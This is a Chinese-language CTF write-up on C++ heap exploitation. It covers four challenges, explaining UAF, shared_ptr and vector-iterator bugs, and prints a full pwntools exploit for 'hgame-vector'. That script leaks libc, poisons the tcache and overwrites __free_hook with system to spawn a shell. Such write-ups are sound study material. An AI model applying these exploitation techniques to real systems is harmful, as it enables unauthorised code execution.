C++ Pwn
长安战役-pwn4
明显的UAF,思路就是劫持__free_hook
现在还没有了析c++的内存管理,从做题的过程来说,在new分配时不止会malloc一次,类似采用了某种数据结构,chunk的某一部分需要维持这种数据结构所以size没有那么准确。在delete时,也可能不只free一次。这应该说在malloc和free之上采用某种系统而形成了new和delete。
类似整体看,在new一个chunk之前,会先有一个较大的unsorted bin,每次分配从中切割一块。这使得泄露时就可先delete填满tcache之后,再次delete合并入unsorted_bin,之后在FD和BK域就可看到libc的地址。
漏洞点
1 |
|
1 | #!/usr/bin/env python2 |
2021-西湖论剑-string-go
- 漏洞点
1 | __int64 __fastcall lative_func(__int64 a1) |
- exp
1 | #!/usr/bin/env python |
- 对string的测试
1 |
|
- 对vector的测试
1 | /* |
2021-BCTF-bytezoom
- 逆向了一个下午才弄出来。有几个奇怪的点
- Cat和Dog都是只有
uint64_t age
和string name
,但是却调转了方向,使得内存分布刚刚相反,这样设计很可能把dog当作cat处理,或者把cat当作dog处理。 - 按照子菜单中的提示对age的操作应该是change_age,在实现时却add_age,结合上一步如果把dog当作cat来add_age,add便是string name的ptr。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15unsigned __int64 __fastcall real_change_dog_age(unk_1428c *this)
{
__int64 v1; // rax
__int64 v2; // rax
int v4; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
cout<<"Enter the number of years you want to add"<<endl;
cin>>v4;
if ( v4 <= 0 || v4 > 1279 )
{
cout<<"error"<<endl;
}
*(_QWORD *)(*(_QWORD *)this + 8LL) += v4; // add instead change
} - 在change_cat_name函数里,检测的却是是否select了dog。(这个并没有用到)
1
2
3
4
5
6
7
8unsigned __int64 change_cat_name(void)
{
__int64 v1; // rax
if ( select_one->dog )
return real_change_cat_name((unk_1428c *)select_one);
return cout<<endl;
}
漏洞点是UAF
在select之后,退出子菜单,然后在select的object的索引处再添加一个替换他,应该是由于使用了shared_ptr来托管指针,当原指针不再被托管是就会析构这个对象。这就达到了select的这个object已经被free,如果此时再申请另一种动物,那么select一个dog,那么就可以以cat得方法来处理它。利用
泄露时:修改string得size,在show中一下leak出heap和libc。
利用时:修改string得c_ptr为free_hook,然后劫持它就可。exp
1 | #!/usr/bin/env python2 |
hgame-vector
1 | unsigned __int64 move_note(void) |
漏洞点,for循环中有resize使得notes这个vector改变了这个堆块的位置,但是迭代器还指向原来的vector。
利用,move_note把第二个(index=1)的move到size之外就有个类似uaf之类的,可达到控制tcache_struct的效果。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130#!/usr/bin/env python
import string
import hashlib
import itertools
from pwn import *
local = 0
debug = 1
binary = "./vector"
lib = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(binary)
context.log_level = "debug" if debug else "info"
if local:
p = process(binary)
libc = ELF(lib)
else :
p = remote("chuj.top","53026")
lib = "./libc.so.6"
libc = ELF(lib)
s = lambda buf : p.send(buf)
sl = lambda buf : p.sendline(buf)
sa = lambda delim, buf : p.sendafter(delim, buf)
sal = lambda delim, buf : p.sendlineafter(delim, buf)
sh = lambda : p.interactive()
r = lambda n=None : p.recv(n)
ru = lambda delim : p.recvuntil(delim)
r7f = lambda : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")
trs = lambda addr : libc.address+addr
gadget = lambda ins : libc.search(asm(ins,arch="amd64")).next()
tohex = lambda buf : "".join("\\x%02x"%ord(_) for _ in buf)
def ggdb():
cmd = ""
cmd += "#!/bin/sh\n"
cmd += "gdb -p `pidof %s` -q "%(binary)
with open("./gdb.sh",'w') as f:
f.write(cmd)
os.system("chmod +x ./gdb.sh")
ggdb()
def add(index,size,content):
sal(">> ","1")
sal(">> ",str(index))
sal(">> ",str(size))
sa(">> ",content)
def show(index):
sal(">> ","3")
sal(">> ",str(index))
def free(index):
sal(">> ","4")
sal(">> ",str(index))
def move(src,des):
sal(">> ","5")
for _ in range(src):
sal("is this one your want to move?","0")
sal("is this one your want to move?","1")
sal("which index you want move to?",str(des))
ru('sha256(????) == ')
hashval = r(64)
table = string.ascii_letters + string.digits + "_."
for one in itertools.product(table,repeat=4):
one = "".join(one)
if hashlib.sha256(one).hexdigest() == hashval:
print("[+] sha256(%s) == %s"%(one,hashlib.sha256(one).hexdigest()))
sl(one)
break
else:
print("[-] noting crack")
add(0,0x18,"A"*0x18)
add(1,0x18,"B"*0x18)
move(1,3)
# free(3)
move(1,5)
move(1,9)
move(1,13)
move(1,21)
move(1,29)
move(1,45)
move(1,61)
free(3)
add(2,0x88,"CCCCCCCC")
free(2)
free(5)
add(2,0x88,"CCCCCCCC")
free(2)
free(9)
add(2,0x88,"CCCCCCCC")
free(2)
free(13)
add(2,0x88,"CCCCCCCC")
free(2)
free(21)
add(2,0x88,"CCCCCCCC")
free(2)
free(29)
add(2,0x88,"CCCCCCCC")
free(2)
free(45)
add(2,0x88,"CCCCCCCC")
free(2)
free(61)
add(2,0x100,"A")
show(2)
libc.address = r7f() - 705 - 0x10 -libc.sym["__malloc_hook"]
info("libc base => 0x%x",libc.address)
free(2)
payload = p16(0x1)*0x40
payload += p64(libc.sym["__free_hook"]-8)
add(2,0x100,payload)
add(4,0x18,"/bin/sh\x00"+p64(libc.sym["system"]))
free(4)
sh()proof of work
1 | """ |
- tcache_double_free的饶过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
目前收集到几道c++的题,之后如果有时间会加到此处。